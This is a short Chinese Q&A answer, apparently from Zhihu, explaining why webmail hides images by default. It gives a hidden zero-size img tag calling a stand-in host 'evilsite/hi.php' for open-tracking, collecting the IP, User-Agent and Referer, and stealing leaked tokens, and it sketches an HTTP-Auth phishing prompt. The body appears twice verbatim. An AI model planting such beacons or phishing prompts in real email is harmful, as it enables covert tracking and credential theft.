QQ邮箱默认不显示未知邮件的图片解答
大多数专业邮箱都默认不显示图片，因为：
<img src=http://evilsite/hi.php width=0 height=0 />
看，src的值可以不需要是真图片。
这样可以隐蔽地得到邮件URL（即Referer，即浏览器地址栏那个URL）。
有什么用呢？
1. 邮件打开跟踪：只要邮件被查看就会请求这个hi.php地址，hi.php可以做好记录，除了记录是否被请求了，还可记录邮件URL、用户浏览器User-Agent、用户IP地址等。这个可以做个邮件跟踪系统了:)
f
2. 某些手机端邮箱：传统的WAP或APP（本质是Web的情况），Referer可能会包括用户身份token，这会导致身份token轻易泄露，账号被盗。
3. 有人用hi.php来玩钓鱼攻击：hi.php可以被设置需要Auth等认证，这时一查看邮箱就弹出一个Auth窗口，提醒输入用户名密码，只要场景设计好，有一定概率，用户会被钓鱼。
<img src=http://evilsite/hi.php width=0 height=0 />
看，src的值可以不需要是真图片。
这样可以隐蔽地得到邮件URL（即Referer，即浏览器地址栏那个URL）。
有什么用呢？
1. 邮件打开跟踪：只要邮件被查看就会请求这个hi.php地址，hi.php可以做好记录，除了记录是否被请求了，还可记录邮件URL、用户浏览器User-Agent、用户IP地址等。这个可以做个邮件跟踪系统了:)
f
2. 某些手机端邮箱：传统的WAP或APP（本质是Web的情况），Referer可能会包括用户身份token，这会导致身份token轻易泄露，账号被盗。
3. 有人用hi.php来玩钓鱼攻击：hi.php可以被设置需要Auth等认证，这时一查看邮箱就弹出一个Auth窗口，提醒输入用户名密码，只要场景设计好，有一定概率，用户会被钓鱼。
作者：余弦
链接：http://www.zhihu.com/question/26061227/answer/32033183
来源：知乎
